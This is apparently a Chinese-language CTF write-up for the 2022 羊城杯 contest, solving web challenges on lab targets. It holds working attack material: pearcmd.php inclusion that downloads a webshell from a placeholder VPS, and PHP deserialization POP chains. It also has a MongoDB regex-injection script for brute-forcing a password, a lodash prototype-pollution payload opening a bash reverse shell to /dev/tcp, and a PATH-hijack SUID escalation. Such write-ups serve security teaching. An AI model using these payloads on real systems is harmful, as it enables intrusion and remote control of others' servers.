羊城杯

[toc]

签到

E:\markdown\CTF\2022比赛\0903羊城杯>ciphey -t “ZMJTPM33ZEDJXZOMTOGQRZOETN4GPMOFZV4GPAGPZD2TRBYRZRMJXAOIZR2U2===”
Possible plaintext: ‘flag{dae090f201091d2b916bd4b9da3e45a4}’ (y/N): y
╭────────────────────────────────────────────────────────────╮
│ The plaintext is a Capture The Flag (CTF) Flag │
│ Formats used: │
│ caesar: │
│ Key: 13 │
│ base32 │
│ utf8Plaintext: “flag{dae090f201091d2b916bd4b9da3e45a4}” │
╰────────────────────────────────────────────────────────────╯

rce_me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
$blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
foreach($blacklist as $blackword){
if(stristr($var, $blackword)) return False;
}
return True;
}
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

绕过stristr:

添加回车符%0a绕过检测(记得要在回车符之前转义,不然htaccess会报错),system函数内可以拼接字符串绕过

pearcmd.php文件包含,题目过滤了create和install,但是还能用download,并且对$_SERVER["QUERY_STRING"])的过滤可以通过url编码绕过

image-20220904082808666

vps上整一个1.txt

1
2
3
<?php phpinfo();?>
下载
?file=/usr/local/lib/php/%70%65%61%72cmd.php&+download+http://vps:7002/1.txt

image-20220903184350966

文件包含成功,整一个一句话木马,放进2.txt

1
/usr/local/lib/php/%70%65%61%72cmd.php&+download+http://vps:7002/2.txt

下载远程文件2.txt

image-20220903184203562

蚁剑连接,虚拟终端,经典的date提权,和蓝帽杯一样

image-20220903182842310

step_by_step

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php

// error_reporting(0);
class yang
{
public $y1;

public function __construct()
{
// $this->y1->magic();
}

public function __tostring()
{
($this->y1)();
}

public function hint()
{
echo 'hint杯调用';
include_once('hint.php');
if(isset($_GET['file']))
{
$file = $_GET['file'];
if(preg_match("/$hey_mean_then/is", $file))
{
die("nonono");
}
include_once($file);
}
}
}

class cheng
{
public $c1;

public function __wakeup()
{
$this->c1->flag = 'flag';
}

public function __invoke()
{
$this->c1->hint();
}
}

class bei
{
public $b1;
public $b2;

public function __set($k1,$k2)
{
print $this->b1;
}

public function __call($n1,$n2)
{
echo $this->b1;
}
}

$aaa = new cheng();
$bbb = new bei();
$ccc = new yang();

// $ddd = new cheng();
// $ddd->c1 = new yang();
// $ccc->y1 = "hint";
$ccc->y1 = "phpinfo";
var_dump($ccc);
$bbb->b1 = $ccc;
$aaa->c1 = $bbb;



echo serialize($aaa);
// unserialize(serialize($aaa));

//}
// O:5:"cheng":1:{s:2:"c1";O:3:"bei":2:{s:2:"b1";O:4:"yang":1:{s:2:"y1";O:5:"cheng":1:{s:2:"c1";O:4:"yang":1:{s:2:"y1";N;}}}s:2:"b2";N;}}
// O:5:"cheng":1:{s:2:"c1";O:3:"bei":2:{s:2:"b1";O:4:"yang":1:{s:2:"y1";s:7:"phpinfo";}s:2:"b2";N;}}
?>

直接查看phpinfo,就可得flag,离谱啊

image-20220903184831886

safepop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
// private $func = 'call_user_func_array';
// private $func = "phpinfo";
public function __construct()
{
$this->func = [new Test(),"getFlag"];
}
public function __call($f,$p){ //在对象中调用一个不可访问方法
call_user_func($this->func,$f,$p);
}
public function __wakeup(){ //反序列化之前调用 需要绕过 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
$this->func = ''; //相当于waf
die("Don't serialize me");
}
}

class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call($f,$p){ //在对象中调用一个不可访问方法
phpinfo(); //可能从这里获取信息
}
public function __wakeup(){ //反序列化之前调用
echo "serialize me?";
}
}

class A{
public $a;
public function __construct()
{
$this->a = new Fun();
}
public function __get($p){ //读取不可访问(protected 或 private)或不存在的属性的值时
if(preg_match("/Test/",get_class($this->a))){ //PHP get_class函数 ——返回对象所属的类名
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B{
public $p;
public $a;
public function __construct()
{
$this->a = new A();
// $this->p = "phpinfo"; //属性不存在,触发get方法
$this->p = "getFlag"; //属性不存在,触发get方法
}
public function __destruct(){
$p = $this->p;
echo $this->a->$p; //属性,对应A
}
}
// if(isset($_GET['pop'])){
// $pop = $_GET['pop'];
// $o = unserialize($pop);
// throw new Exception("no pop");
// }
$aaa = new B();

echo serialize([$aaa,1]);
// echo $zzz;

$yyy = 'O:1:"B":2:{s:1:"p";s:3:"xxx";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":2:{s:9:"Funfunc";s:7:"phpinfo";}}}';
// unserialize($yyy);
$zzz = 'a:2:{i:0;O:1:"B":2:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":2:{s:4:"func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}i:1;i:1;}';
// unserialize($zzz);
//查看phpinfo() 利用Fun类的call_user_func调用function
//O:1:"B":2:{s:1:"p";s:7:"phpinfo";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":2:{s:9:"Funfunc";s:7:"phpinfo";}}}
//payload
//a:2:{i:0;O:1:"B":2:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":2:{s:4:"func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}i:1;i:1;}

注意修改O:3:"Fun":1:O:3:"Fun":2:来绕过wakeup

image-20220903203124039

EzNode1

dirsearch扫描,/login路由有登录界面

image-20220904023404296

f12查看源码,提示用户名

image-20220904013052754

使用Wappalyzer,源码为nodejs

image-20220904085718385

找到一个Mongodb注入,结合regx

Mongodb注入攻击 - SecPulse.COM | 安全脉搏

HCTF2014 Writeup - SecPulse.COM | 安全脉搏

发现了一个不一样的回显,password的第一个字母为t

image-20220904023623922

根据Are You Kidding Me?结合Mongodb和regex注入攻击写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string

print(string.printable)
str = string.ascii_lowercase+string.ascii_uppercase+string.digits+'~!@#$%^()_'

result = ''
while 1:
for i in str:
# print(i)
# print(result)
data1 = "username=administrator&password[$regex]=^" + result + i
print(data1)
headers = {'Content-Type':'application/x-www-form-urlencoded'}

r = requests.post(url = "http://3000.endpoint-15446f1451474a1ab020eac1131fbdea.dasc.buuoj.cn:81/login",headers=headers,data = data1)
print(len(r.text))
if r"Kidding" in r.text:
# print(r.text)
print(result + i)
result = result + i

# headers = {'Cookie':'thejs.session=s%3AB2nvBGFBBl6FtWWKzZjlNhZsYD4z9zyV.CB%2BIX6xIxKv%2Bw%2FFHAIb1MKBRn5olbtsmcaSlrV1zNXo','Content-Type':'application/x-www-form-urlencoded'}
# r = requests.post(url="http://3000.endpoint-e1d7ac3bc3ad4e4e939925ec0ce1bc4e.dasc.buuoj.cn:81/login",data="username=administrator&password[$regex]=^1")
# print(r.text)

回显

image-20220904024228986

1
2
administrator
tHe_pAsSw0rd_thAt_y0u_NeVer_Kn0w

然后输入密码,登录

image-20220904024458658

/source查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
var express = require('express');
var mongoose = require('mongoose');
var bodyParser = require('body-parser');
var fs = require('fs');
var lodash = require('lodash');
var session = require('express-session');
var randomize = require('randomatic');

mongoose.connect('mongodb://localhost/ctf', { useNewUrlParser: true });

......


app.set('views', './views');
app.set('view engine', 'ejs');
app.use('/static', express.static('static'));

......


app.get('/', (req, res, next) => {

if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login');
} else {
res.redirect('/home');
}
})

// login
app.all('/login', function(req, res) {

......

});


app.all('/home', function(req, res) {

if(!req.session.admin) {
return res.redirect('/');
}

if(req.session.data !== undefined && req.session.data !== null) {
res.render('home.ejs', {
real_name: req.session.data.realname,
age: req.session.data.age
});
}
else {
res.render('home.ejs', {
real_name: 'Undefined',
age: 'Undefined'
});
}

});


// update your info
app.all('/update', (req, res) => {

if(!req.session.admin) {
return res.redirect('/');
}

if (req.method == 'GET') {
res.render('update.ejs');
}

let data = req.session.data || {realname: '', age: ''}
if (req.method == 'POST') {
data = lodash.merge(data, req.body);
req.session.data = data;
if(req.session.data.realname) {
res.redirect('/home');
}
}
})


var server = app.listen(3000, '0.0.0.0', function () {

var host = server.address().address;
var port = server.address().port;

console.log("listening on http://%s:%s", host, port);
});

lodash.merge原型链污染

image-20220904025029642

找一个payload

lodash原型链污染 – View of Thai

image-20220904025332243

1
2
3
4
administrator
tHe_pAsSw0rd_thAt_y0u_NeVer_Kn0w

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/7002 0>&1\"');var __tmp2"}}

使用postman发包,进行原型链污染

image-20220904073919262

提权

1
2
find / -perm -u=s -type f 2>/dev/null
/home/bunny

发现/home/bunny

image-20220904073244718

根据/home/bunny的回显,推测是用了id命令,想办法替换id命令

image-20220904074238796

但是无论是替换,还是删除,权限都不够

后来发现,可以使用export来设置PATH的环境变量,将PATH设置为tmp目录

1
export PATH=/tmp:$PATH

执行id命令的时候,会优先到tmp目录寻找并执行命令

在tmp目录下构造恶意的id命令

1
2
echo "/bin/sh" > /tmp/id
chmod 777 /tmp/id

然后执行/home/bunny

image-20220904082059141